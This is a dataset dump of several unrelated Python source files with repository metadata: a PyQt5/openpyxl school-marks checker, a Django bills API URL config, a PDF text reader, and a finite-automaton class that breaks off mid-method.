sheet.cell(row=1, column=subject_column).alignment = Alignment(horizontal='center')\n                    sheet.merge_cells(start_row=1, start_column=subject_column,\n                                      end_row=1, end_column=subject_column + 2)\n                    sheet.cell(row=1, column=subject_column + 2).border = Border(right=self.THICK)\n\n                if student_index == 0:  # если это список предметов первого ученика, заполняем шапку\n                    if not period.isdigit():\n                        sheet.cell(row=2, column=subject_column).value = 'Год'\n                    elif int(form.split('-')[0]) in (10, 11):\n                        sheet.cell(row=2, column=subject_column).value = '{}-е полугодие'.format(period)\n                    else:\n                        sheet.cell(row=2, column=subject_column).value = '{}-й триместр'.format(period)\n\n                    sheet.cell(row=2, column=subject_column).alignment = Alignment(horizontal='center')\n                    sheet.merge_cells(start_row=2, start_column=subject_column,\n                                      end_row=2, end_column=subject_column + 2)\n                    sheet.cell(row=2, column=subject_column).border = Border(top=self.THIN, bottom=self.THIN)\n                    sheet.cell(row=2, column=subject_column + 1).border = Border(top=self.THIN, bottom=self.THIN)\n                    sheet.cell(row=2, column=subject_column + 2).border = Border(bottom=self.THIN,\n                                                                                 top=self.THIN, right=self.THICK)\n\n                    sheet.cell(row=3, column=subject_column).value = 'ср. б.'\n                    sheet.cell(row=3, column=subject_column + 1).value = 'рек.'\n                    sheet.cell(row=3, column=subject_column + 2).value = 'фактич.'\n\n                    sheet.cell(row=3, column=subject_column).alignment = Alignment(horizontal='center')\n                    sheet.cell(row=3, column=subject_column + 1).alignment = Alignment(horizontal='center')\n                    sheet.cell(row=3, column=subject_column + 2).alignment = Alignment(horizontal='center')\n\n                    sheet.cell(row=3, column=subject_column).border = Border(bottom=self.THIN, right=self.THIN)\n                    sheet.cell(row=3, column=subject_column + 1).border = Border(bottom=self.THIN, right=self.THIN)\n                    sheet.cell(row=3, column=subject_column + 2).border = Border(bottom=self.THIN, right=self.THICK)\n\n                if subject in self.students[student].keys():\n                    if period.isdigit():\n                        marks = ['0' if mark is None else mark for mark in\n                                 self.students[student][subject][int(period) - 1]]\n                    else:\n                        marks = ['0' if mark is None else mark for mark in self.students[student][subject][3]]\n                else:\n                    marks = ['0', '0']\n\n                if is_number(marks[0]):\n                    marks[0] = float(marks[0])\n                if is_number(marks[1]):\n                    marks[1] = int(marks[1])\n                sheet.cell(row=student_index + 4, column=subject_column).value = marks[0]\n                sheet.cell(row=student_index + 4, column=subject_column + 2).value = marks[1]\n\n                sheet.cell(row=student_index + 4, column=subject_column).alignment = Alignment(horizontal='center')\n                sheet.cell(row=student_index + 4, column=subject_column + 2).alignment = Alignment(horizontal='center')\n\n                recommended = get_needed_mark(str(marks[0]))\n                if is_number(recommended):\n                    recommended = int(recommended)\n                sheet.cell(row=student_index + 4, column=subject_column + 1).value = recommended\n                sheet.cell(row=student_index + 4, column=subject_column + 1).alignment = Alignment(horizontal='center')\n\n                if recommended != marks[1]:\n                    wrong_marks.append({'name': student, 'subject': subject, 'period': period,\n                                        'average': marks[0], 'recommended': recommended, 'actual': marks[1]})\n\n                    sheet.cell(row=student_index + 4, column=subject_column).font = Font(b=True)\n                    sheet.cell(row=student_index + 4, column=subject_column + 1).font = Font(b=True)\n                    sheet.cell(row=student_index + 4, column=subject_column + 2).font = Font(b=True)\n                    sheet.cell(row=student_index + 4, column=subject_column).fill = PatternFill(\n                        start_color='FF4040',\n                        end_color='FF4040',\n                        fill_type='solid')\n                    sheet.cell(row=student_index + 4, column=subject_column + 1).fill = PatternFill(\n                        start_color='FF4040',\n                        end_color='FF4040',\n                        fill_type='solid')\n                    sheet.cell(row=student_index + 4, column=subject_column + 2).fill = PatternFill(\n                        start_color='FF4040',\n                        end_color='FF4040',\n                        fill_type='solid')\n\n                if student_index == len(self.students) - 1:  # если это последний ученик в списке,\n                    # рисуем нижнюю границу\n                    sheet.cell(row=student_index + 4, column=subject_column).border = Border(bottom=self.THIN,\n                                                                                             right=self.THIN)\n                    sheet.cell(row=student_index + 4, column=subject_column + 1).border = Border(bottom=self.THIN,\n                                                                                                 right=self.THIN)\n                    sheet.cell(row=student_index + 4, column=subject_column + 2).border = Border(bottom=self.THIN,\n                                                                                                 right=self.THICK)\n                else:\n                    sheet.cell(row=student_index + 4, column=subject_column).border = Border(right=self.THIN)\n                    sheet.cell(row=student_index + 4, column=subject_column + 1).border = Border(right=self.THIN)\n                    sheet.cell(row=student_index + 4, column=subject_column + 2).border = Border(right=self.THICK)\n\n                subject_index += 1\n\n            classification_column = 4 + subject_index * 3\n            if student_index == 0:\n                sheet.column_dimensions[get_column_letter(classification_column)].width = 25\n                sheet.merge_cells(start_row=1, end_row=3,\n                                  start_column=classification_column, end_column=classification_column)\n                sheet.cell(row=1, column=classification_column,\n                           value='Оценка успеваемости').alignment = Alignment(horizontal='center', vertical='center')\n                sheet.cell(row=1, column=classification_column).border = Border(left=self.THIN, right=self.THIN)\n                sheet.cell(row=2, column=classification_column).border = Border(left=self.THIN, right=self.THIN)\n                sheet.cell(row=3, column=classification_column).border = Border(left=self.THIN, right=self.THIN,\n                                                                                bottom=self.THIN)\n\n            sheet.cell(row=student_index + 4, column=classification_column,\n                       value=self.classifications[student]).alignment = Alignment(horizontal='center')\n            if student_index == len(self.students) - 1:\n                sheet.cell(row=student_index + 4, column=classification_column).border = \\\n                    Border(left=self.THIN, right=self.THIN, bottom=self.THIN)\n            else:\n                sheet.cell(row=student_index + 4, column=classification_column).border = \\\n                    Border(left=self.THIN, right=self.THIN)\n\n            student_index += 1\n\n        if len(wrong_marks) != 0:\n            res_sheet = workbook.create_sheet('Results')\n\n            wrong_marks.sort(key=lambda el: el['subject'])\n\n            col_names = ('Ученик', 'Предмет', 'Период', 'Ср. б.', 'Рек.', 'Фактич.')\n            for col in range(1, 7):\n                res_sheet.cell(row=1, column=col, value=col_names[col - 1]).alignment = Alignment(horizontal='center')\n                res_sheet.cell(row=1, column=col).font = Font(b=True)\n                res_sheet.cell(row=1, column=col).border = Border(right=self.DOUBLE, bottom=self.DOUBLE)\n\n            res_sheet.column_dimensions['A'].width = 35\n            res_sheet.column_dimensions['B'].width = 25\n            res_sheet.column_dimensions['C'].width = 20\n\n            if not period.isdigit():\n                for i in range(len(wrong_marks)):\n                    wrong_marks[i]['period'] = 'Год'\n            elif int(form.split('-')[0]) in (10, 11):\n                for i in range(len(wrong_marks)):\n                    wrong_marks[i]['period'] = '{}-е полугодие'.format(wrong_marks[i]['period'])\n            else:\n                for i in range(len(wrong_marks)):\n                    wrong_marks[i]['period'] = '{}-й триместр'.format(wrong_marks[i]['period'])\n\n            keys = ('name', 'subject', 'period', 'average', 'recommended', 'actual')\n            last = False\n            for row in range(1, len(wrong_marks) + 1):\n                if row == len(wrong_marks):\n                    last = True\n                for col in range(1, 7):\n                    if not last:\n                        res_sheet.cell(row=row + 1, column=col, value=wrong_marks[row - 1][keys[col - 1]])\\\n                            .border = Border(right=self.THIN)\n                    else:\n                        res_sheet.cell(row=row + 1, column=col, value=wrong_marks[row - 1][keys[col - 1]])\\\n                            .border = Border(right=self.THIN, bottom=self.THIN)\n\n        workbook.save(filename)\n\n\ndef main():\n    try:\n        app = QApplication(sys.argv)\n        gui = ExcelMarksInterface()\n        sys.exit(app.exec())\n    except Exception as e:\n        print('Ошибка:', e)\n\n\nif __name__ == '__main__':\n    main()\n", "repo_name": "NikolayNyunin/Excel_Marks", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 29091, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 57, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QGridLayout", "line_number": 72, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 77, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QFont", "line_number": 78, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.AlignCenter", "line_number": 79, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 79, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 81, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QFont", "line_number": 82, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.AlignCenter", "line_number": 85, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 85, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 87, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QFont", "line_number": 88, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 91, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QFont", "line_number": 92, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.AlignCenter", "line_number": 93, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 93, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QComboBox", "line_number": 95, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QFont", "line_number": 97, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.AlignCenter", "line_number": 98, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 98, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 100, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QFont", "line_number": 101, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.AlignCenter", "line_number": 102, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 102, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 104, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QFont", "line_number": 105, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.AlignCenter", "line_number": 107, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 107, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 109, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QFont", "line_number": 110, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.AlignCenter", "line_number": 114, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 114, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 116, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QFont", "line_number": 117, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.AlignCenter", "line_number": 118, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 118, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 120, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QFont", "line_number": 121, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.AlignCenter", "line_number": 124, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 124, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QTextEdit", "line_number": 126, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QFont", "line_number": 127, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.getOpenFileName", "line_number": 133, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 133, "usage_type": "name"}, {"api_name": "time.time", "line_number": 165, "usage_type": "call"}, {"api_name": "time.time", "line_number": 176, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 197, "usage_type": "call"}, {"api_name": "openpyxl.styles.Side", "line_number": 228, "usage_type": "call"}, {"api_name": "openpyxl.styles.Side", "line_number": 229, "usage_type": "call"}, {"api_name": "openpyxl.styles.Side", "line_number": 230, "usage_type": "call"}, {"api_name": "openpyxl.load_workbook", "line_number": 243, "usage_type": "call"}, {"api_name": "openpyxl.load_workbook", "line_number": 275, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 358, "usage_type": "call"}, {"api_name": "openpyxl.Workbook", "line_number": 372, "usage_type": "call"}, {"api_name": "openpyxl.styles.Alignment", "line_number": 376, "usage_type": "call"}, {"api_name": "openpyxl.styles.Border", "line_number": 379, "usage_type": "call"}, {"api_name": "openpyxl.styles.Alignment", "line_number": 383, "usage_type": "call"}, {"api_name": "openpyxl.styles.Border", "line_number": 386, "usage_type": "call"}, {"api_name": "openpyxl.styles.Alignment", "line_number": 391, "usage_type": "call"}, {"api_name": "openpyxl.styles.Border", "line_number": 394, "usage_type": "call"}, {"api_name": "openpyxl.styles.Border", "line_number": 396, "usage_type": "call"}, {"api_name": "openpyxl.styles.Border", "line_number": 399, "usage_type": "call"}, {"api_name": "openpyxl.styles.Border", "line_number": 400, "usage_type": "call"}, {"api_name": "openpyxl.styles.Alignment", "line_number": 408, "usage_type": "call"}, {"api_name": "openpyxl.styles.Border", "line_number": 411, "usage_type": "call"}, {"api_name": "openpyxl.styles.Alignment", "line_number": 421, "usage_type": "call"}, {"api_name": "openpyxl.styles.Border", "line_number": 424, "usage_type": "call"}, {"api_name": "openpyxl.styles.Border", "line_number": 425, "usage_type": "call"}, {"api_name": "openpyxl.styles.Border", "line_number": 426, "usage_type": "call"}, {"api_name": "openpyxl.styles.Alignment", "line_number": 433, "usage_type": "call"}, {"api_name": "openpyxl.styles.Alignment", "line_number": 434, "usage_type": "call"}, {"api_name": "openpyxl.styles.Alignment", "line_number": 435, "usage_type": "call"}, {"api_name": "openpyxl.styles.Border", "line_number": 437, "usage_type": "call"}, {"api_name": "openpyxl.styles.Border", "line_number": 438, "usage_type": "call"}, {"api_name": "openpyxl.styles.Border", "line_number": 439, "usage_type": "call"}, {"api_name": "openpyxl.styles.Alignment", "line_number": 457, "usage_type": "call"}, {"api_name": "openpyxl.styles.Alignment", "line_number": 458, "usage_type": "call"}, {"api_name": "openpyxl.styles.Alignment", "line_number": 464, "usage_type": "call"}, {"api_name": "openpyxl.styles.Font", "line_number": 470, "usage_type": "call"}, {"api_name": "openpyxl.styles.Font", "line_number": 471, "usage_type": "call"}, {"api_name": "openpyxl.styles.Font", "line_number": 472, "usage_type": "call"}, {"api_name": "openpyxl.styles.PatternFill", "line_number": 473, "usage_type": "call"}, {"api_name": "openpyxl.styles.PatternFill", "line_number": 477, "usage_type": "call"}, {"api_name": "openpyxl.styles.PatternFill", "line_number": 481, "usage_type": "call"}, {"api_name": "openpyxl.styles.Border", "line_number": 488, "usage_type": "call"}, {"api_name": "openpyxl.styles.Border", "line_number": 490, "usage_type": "call"}, {"api_name": "openpyxl.styles.Border", "line_number": 492, "usage_type": "call"}, {"api_name": "openpyxl.styles.Border", "line_number": 495, "usage_type": "call"}, {"api_name": "openpyxl.styles.Border", "line_number": 496, "usage_type": "call"}, {"api_name": "openpyxl.styles.Border", "line_number": 497, "usage_type": "call"}, {"api_name": "openpyxl.utils.get_column_letter", "line_number": 503, "usage_type": "call"}, {"api_name": "openpyxl.styles.Alignment", "line_number": 507, "usage_type": "call"}, {"api_name": "openpyxl.styles.Border", "line_number": 508, "usage_type": "call"}, {"api_name": "openpyxl.styles.Border", "line_number": 509, "usage_type": "call"}, {"api_name": "openpyxl.styles.Border", "line_number": 510, "usage_type": "call"}, {"api_name": "openpyxl.styles.Alignment", "line_number": 514, "usage_type": "call"}, {"api_name": "openpyxl.styles.Border", "line_number": 517, "usage_type": "call"}, {"api_name": "openpyxl.styles.Border", "line_number": 520, "usage_type": "call"}, {"api_name": "openpyxl.styles.Alignment", "line_number": 531, "usage_type": "call"}, {"api_name": "openpyxl.styles.Font", "line_number": 532, "usage_type": "call"}, {"api_name": "openpyxl.styles.Border", "line_number": 533, "usage_type": "call"}, {"api_name": "openpyxl.styles.Border", "line_number": 557, "usage_type": "call"}, {"api_name": "openpyxl.styles.Border", "line_number": 560, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 567, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 567, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 569, "usage_type": "call"}]}
{"seq_id": "74847774970", "text": "from django.urls import path, include\nfrom rest_framework.routers import DefaultRouter\nfrom .views import (BillsViewSet,\n                    BillsItemsListCreateApiView,\n                    BillsItemRUDApiView,\n                    ExportAPIView,\n                    ArchievedBillListApiView,\n                    ArchieveUnarchieveApiView)\n\napp_name = 'bills'\n\nrouter = DefaultRouter()\nrouter.register(r'bills', BillsViewSet)\n\nurlpatterns = [\n    path('', include(router.urls)),\n\n    path('bills/<uuid:pk>/items/',\n         BillsItemsListCreateApiView.as_view(),\n         name='items-list'),\n\n    path('items/<uuid:pk>/',\n         BillsItemRUDApiView.as_view(),\n         name='items-update'),\n\n    path('bills/<uuid:pk>/export/',\n         ExportAPIView.as_view(),\n         name='items-csv'),\n\n    path('archived/',\n         ArchievedBillListApiView.as_view(),\n         name='archived-bills'),\n\n    path('bills/<uuid:pk>/archive/',\n         ArchieveUnarchieveApiView.as_view(),\n         name='archive-unarchieve'),\n]\n", "repo_name": "djv-mo/bills-api", "sub_path": "bills/billsapi/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 1015, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "rest_framework.routers.DefaultRouter", "line_number": 12, "usage_type": "call"}, {"api_name": "views.BillsViewSet", "line_number": 13, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 16, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 16, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 18, "usage_type": "call"}, {"api_name": "views.BillsItemsListCreateApiView.as_view", "line_number": 19, "usage_type": "call"}, {"api_name": "views.BillsItemsListCreateApiView", "line_number": 19, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 22, "usage_type": "call"}, {"api_name": "views.BillsItemRUDApiView.as_view", "line_number": 23, "usage_type": "call"}, {"api_name": "views.BillsItemRUDApiView", "line_number": 23, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 26, "usage_type": "call"}, {"api_name": "views.ExportAPIView.as_view", "line_number": 27, "usage_type": "call"}, {"api_name": "views.ExportAPIView", "line_number": 27, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 30, "usage_type": "call"}, {"api_name": "views.ArchievedBillListApiView.as_view", "line_number": 31, "usage_type": "call"}, {"api_name": "views.ArchievedBillListApiView", "line_number": 31, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 34, "usage_type": "call"}, {"api_name": "views.ArchieveUnarchieveApiView.as_view", "line_number": 35, "usage_type": "call"}, {"api_name": "views.ArchieveUnarchieveApiView", "line_number": 35, "usage_type": "name"}]}
{"seq_id": "7424068620", "text": "class pdfReader():\n    def readColumnsFormat(self):\n        import textract\n        text = textract.process('resources/pdf1.pdf', method='pdfminer')\n      \n        open(\"tmp/00_columns.txt\", \"w\").write(text.decode('utf-8'))\n        \n    def readPageRowFormat(self):\n        import PyPDF2\n        file = open('resources/pdf1.pdf', 'rb')\n        fileReader = PyPDF2.PdfFileReader(file)\n\n        pageRange = range(0,fileReader.numPages)\n\n        pdf = PyPDF2.PdfFileReader(file)\n\n        with open('tmp/00_rows.txt', 'w') as f:\n            for x in pageRange:\n                pdfpage = pdf.getPage(x)\n                f.write(pdfpage.extractText().replace(\"  \",\"\\n\"))\n                f.write(\"----\")\n", "repo_name": "Dupie696/DupieDiffParser", "sub_path": "classes/pdfReader.py", "file_name": "pdfReader.py", "file_ext": "py", "file_size_in_byte": 696, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "81", "api": [{"api_name": "textract.process", "line_number": 4, "usage_type": "call"}, {"api_name": "PyPDF2.PdfFileReader", "line_number": 11, "usage_type": "call"}, {"api_name": "PyPDF2.PdfFileReader", "line_number": 15, "usage_type": "call"}]}
{"seq_id": "74500586826", "text": "from collections import defaultdict, deque\n\n\nclass Automat:\n    '''\n    class for representing final state automata.\n    Automata = (\n        alphabet = set of chars\n        states = set of strings\n        transitions = dict{state: dict{letter: {set of children} ...} ...}\n        initial_state = string\n        final_states = set of strings\n    )\n    '''\n\n    def __init__(self, alphabet, states, transitions,\n                 initial_state, final_states):\n        self.alphabet = alphabet\n        self.states = states\n        self.transitions = transitions\n        self.initial_state = initial_state\n        self.final_states = final_states\n\n    def to_dfa(self):\n        '''\n        makes automat deterministic\n        '''\n        if Automat.is_deterministic(self):\n            return self.transitions, self.final_states\n        self.remove_lambda_connections()\n        queue = deque()\n        visited = set()\n        self.initial_state = frozenset({self.initial_state})\n        queue.append(self.initial_state)\n        new_connections = {}\n        new_final_states = set()\n        new_states = set()\n        new_states.add(self.initial_state)\n        while queue:\n            state = queue.popleft()\n            connections = self.__dfa_connection(state)\n            new_state = list(connections.keys())[0]\n            new_connections.update(connections)\n            for connection in connections[new_state]:\n                state = frozenset(connections[new_state][connection])\n                if state not in visited:\n                    queue.append(state)\n                    visited.add(state)\n                    new_states.add(state)\n                    if self.final_states & state:\n                        new_final_states.add(state)\n        self.transitions = new_connections\n        self.final_states = new_final_states\n        self.states = new_states\n        self.__stringify()\n        transitions, full = Automat.__full_transitions(self.states,\n                                                       self.alphabet, self.transitions)\n        if not full:\n            self.transitions = transitions\n            self.states.add('_')\n        self.__stringify()\n        return self.transitions, self.final_states\n\n    @staticmethod\n    def is_deterministic(automat):\n        '''\n        checks if the automata is deterministic\n        '''\n        for state in automat.states:\n            if state not in automat.transitions:\n                return False\n            for letter in automat.alphabet:\n                if (letter not in automat.transitions[state] or\n                        len(automat.transitions[state][letter]) > 1):\n                    return False\n        return True\n\n    def save_dot(self, file):\n        '''\n        saves graph to a dot file\n        '''\n\n        with open(file, 'w') as f:\n            f.write('digraph {\\n')\n            f.write('rankdir = LR\\n')\n            if self.initial_state:\n                f.write(\n                    f'{self.initial_state} [ color = \"#808080\", shape = circle];\\n')\n            if self.final_states:\n                f.write(\n                    f'{\",\".join(self.final_states)} [shape = doublecircle];\\n')\n            f.write('node [shape = circle];\\n')\n            for state in self.transitions:\n                for connection in self.transitions[state]:\n                    for child in self.transitions[state][connection]:\n                        f.write(\n                            f'{state} -> {child} [label = \"{connection}\"];\\n')\n            f.write('}')\n\n    def __dfa_connection(self, states):\n        '''\n        returns new connections for a new state by combining connections\n        of old states\n        '''\n\n        new_connections = defaultdict(lambda: defaultdict(set))\n        new_state = frozenset(states)\n        new_connections[new_state]\n        for state in states:\n            if state not in self.transitions:\n                continue\n            for connection in self.transitions[state]:\n                new_connections[new_state][connection].update(\n                    self.transitions[state][connection])\n        return new_connections\n\n    def remove_lambda_connections(self):\n        '''\n        removes lambda connections, modifies transitions and final_states,\n        returns them\n        '''\n\n        all_new_connections = defaultdict(lambda: defaultdict(set))\n        for state in self.transitions:\n            new_connections, new_states = self.__lambda_connections(\n                state, state, set(),\n                defaultdict(lambda: defaultdict(set)), set())\n            self.final_states |= new_states\n            all_new_connections[state].update(new_connections[state])\n        self.transitions = all_new_connections\n        return self.transitions, self.final_states\n\n    def __lambda_connections(self, start, state, visited,\n                             new_connections, new_final_states):\n        '''\n        searches for lambda reachable states (states that can be reached\n        by any number of lambda transitions), if start state is in final_states\n        adds them to the new_final_states.\n        Create connections between start and children of lambda reachable states.\n        Returns this connections and new_final_states\n        '''\n        if state in self.transitions:\n            for connection in self.transitions[state]:\n                for child in self.transitions[state][connection]:\n                    if connection == '' and child not in visited:\n                        if start in self.final_states:\n                            new_final_states.add(child)\n                        visited.add(state)\n                        self.__lambda_connections(\n                            start, child, visited,\n                            new_connections, new_final_states)\n                        visited.remove(state)\n                    else:\n                        if connection != '':\n                            new_connections[start][connection].add(child)\n        return new_connections, new_final_states\n\n    def __stringify(self):\n        '''\n        transforms states in transitions dictionaries to stirngs.\n        Children are transformed into sets of one string.\n        transforms states in \"final_states\" to strings\n        '''\n        delim = ','\n        transitions = {}\n        final_states = set()\n        states = set()\n        for state in self.transitions:\n            for connection in self.transitions[state]:\n                new_state = state\n                if isinstance(state, set) or isinstance(state, frozenset):\n                    new_state = '\"' + delim.join(sorted(list(state))) + '\"'\n                child = self.transitions[state][connection]\n                if isinstance(child, set) or isinstance(child, frozenset):\n                    child = '\"' + delim.join(sorted(\n                        list(child))) + '\"'\n                if new_state not in transitions:\n                    transitions[new_state] = {}\n                transitions[new_state][connection] = {child}\n\n        for state in self.final_states:\n            new_state = state\n            if isinstance(new_state, set) or isinstance(new_state, frozenset):\n                new_state = '\"' + delim.join(sorted(list(new_state))) + '\"'\n            final_states.add(new_state)\n\n        for state in self.states:\n            new_state = state\n            if isinstance(new_state, set) or isinstance(new_state, frozenset):\n                new_state = '\"' + delim.join(sorted(list(new_state))) + '\"'\n            states.add(new_state)\n\n        self.transitions = transitions\n        self.final_states = final_states\n        self.states = states\n        if (isinstance(self.initial_state, set) or\n                isinstance(self.initial_state, frozenset)):\n            self.initial_state = '\"' + \\\n                delim.join(sorted(list(self.initial_state))) + '\"'\n\n    @staticmethod\n    def __state_child(transitions, state, letter):\n        '''\n        function to get child of a state\n        '''\n\n        if state not in transitions or letter not in transitions[state]:\n            return None\n        child = transitions[state][letter]\n        if isinstance(child, set):\n            child = tuple(child)[0]\n        return child\n\n    @staticmethod\n    def __cartesian(transitions1, transitions2, states1, states2, alphabet):\n        '''\n        returns cartesian product of transition tables\n        '''\n\n        transitions = defaultdict(dict)\n        for letter in alphabet:\n            for st1 in states1:\n                for st2 in states2:\n                    st1_child = Automat.__state_child(\n                        transitions1, st1, letter)\n                    st2_child = Automat.__state_child(\n                        transitions2, st2, letter)\n                    transitions[st1+st2][letter] = st1_child + st2_child\n        return transitions\n\n    @staticmethod\n    def __new_states(states1, states2):\n        '''\n        function to generate new states for the new dfa generate by\n        {&,|,-} operations\n        '''\n        new_states = set()\n        for st1 in states1:\n            for st2 in states2:\n                new_states.add(st1+st2)\n        return new_states\n\n    @staticmethod\n    def __final_state(final_states1, final_states2):\n        '''\n        helper function to generate final_states for dfa = dfa1 & dfa2\n        '''\n        final_states = set()\n        for fs1 in final_states1:\n            for fs2 in final_states2:\n                final_states.add(fs1 + fs2)\n        return final_states\n\n    @staticmethod\n    def __final_state_or(final_states1, final_states2, states1, states2):\n        '''\n        helper function to generate final_states for dfa = dfa1 | dfa2\n        '''\n        final_states = set()\n        for fs1 in final_states1:\n            for st2 in states2:\n                final_states.add(fs1 + st2)\n        for fs2 in final_states2:\n            for st1 in states1:\n                final_states.add(st1 + fs2)\n        return final_states\n\n    @staticmethod\n    def __full_transitions(states, alphabet, transitions):\n        '''\n        returns full transition table, and True if it was already full,\n        False otherwise\n        '''\n        new_transitions = defaultdict(dict)\n        full = True\n        for state in states:\n            for letter in alphabet:\n                if state in transitions and letter in transitions[state]:\n                    if isinstance(transitions[state][letter], set):\n                        new_transitions[state][letter] = tuple(\n                            transitions[state][letter])[0]\n                    else:\n                        new_transitions[state][letter] = transitions[state][letter]\n                else:\n                    full = False\n                    new_transitions[state][letter] = '_'\n        if not full:\n            for letter in alphabet:\n                new_transitions['_'][letter] = '_'\n        return new_transitions, full\n\n    def __and__(self, other):\n        '''\n        dfa and operation\n        '''\n\n        if not (Automat.is_deterministic(self) and\n                Automat.is_deterministic(other)):\n            raise TypeError('\"&\" could be applied only to two dfas')\n        new_alphabet = self.alphabet | other.alphabet\n        ts1, full1 = Automat.__full_transitions(\n            self.states,\n            new_alphabet,\n            self.transitions)\n        ts2, full2 = Automat.__full_transitions(\n            other.states,\n            new_alphabet,\n            other.transitions)\n        states1 = self.states.copy()\n        states2 = other.states.copy()\n        transitions1 = self.transitions.copy()\n        transitions2 = other.transitions.copy()\n        if not full1:\n            transitions1 = ts1\n            states1.add('_')\n        if not full2:\n            transitions2 = ts2\n            states2.add('_')\n        new_transitions = self.__cartesian(\n            transitions1,\n            transitions2,\n            states1,\n            states2,\n            new_alphabet)\n        new_initial_state = self.initial_state + other.initial_state\n        new_states = Automat.__new_states(self.states, other.states)\n        new_final_states = Automat.__final_state(self.final_states,\n                                                 other.final_states)\n        result = Automat(\n            new_alphabet,\n            new_states,\n            new_transitions,\n            new_initial_state,\n            new_final_states,\n        )\n        result.__stringify()\n        return result\n\n    def __or__(self, other):\n        '''\n        dfa or operation\n        '''\n        if not (Automat.is_deterministic(self) and\n                Automat.is_deterministic(other)):\n            raise TypeError('\"|\" could be applied only to two dfas')\n        new_alphabet = self.alphabet | other.alphabet\n        ts1, full1 = Automat.__full_transitions(\n            self.states,\n            new_alphabet,\n            self.transitions)\n        ts2, full2 = Automat.__full_transitions(\n            other.states,\n            new_alphabet,\n            other.transitions)\n        states1 = self.states.copy()\n        states2 = other.states.copy()\n        transitions1 = self.transitions.copy()\n        transitions2 = other.transitions.copy()\n        if not full1:\n            transitions1 = ts1\n            states1.add('_')\n        if not full2:\n            transitions2 = ts2\n            states2.add('_')\n        new_transitions = self.__cartesian(\n            transitions1,\n            transitions2,\n            states1,\n            states2,\n            new_alphabet)\n        new_initial_state = self.initial_state + other.initial_state\n        new_states = Automat.__new_states(states1, states2)\n        new_final_states = Automat.__final_state_or(self.final_states,\n                                                    other.final_states, states1, states2)\n        result = Automat(\n            new_alphabet,\n            new_states,\n            new_transitions,\n            new_initial_state,\n            new_final_states,\n        )\n        result.__stringify()\n        return result\n\n    def __invert__(self):\n        '''\n        dfa complement\n        '''\n        if not Automat.is_deterministic(self):\n            raise TypeError('\"~\" could be applied only to dfa')\n        ts, full = Automat.__full_transitions(\n            self.states,\n            self.alphabet,\n            self.transitions)\n        new_states = self.states.copy()\n        new_transitions = self.transitions.copy()\n        if not full:\n            new_transitions = ts\n            new_states.add('_')\n        new_final_states = (new_states - self.final_states)\n\n        result = Automat(\n            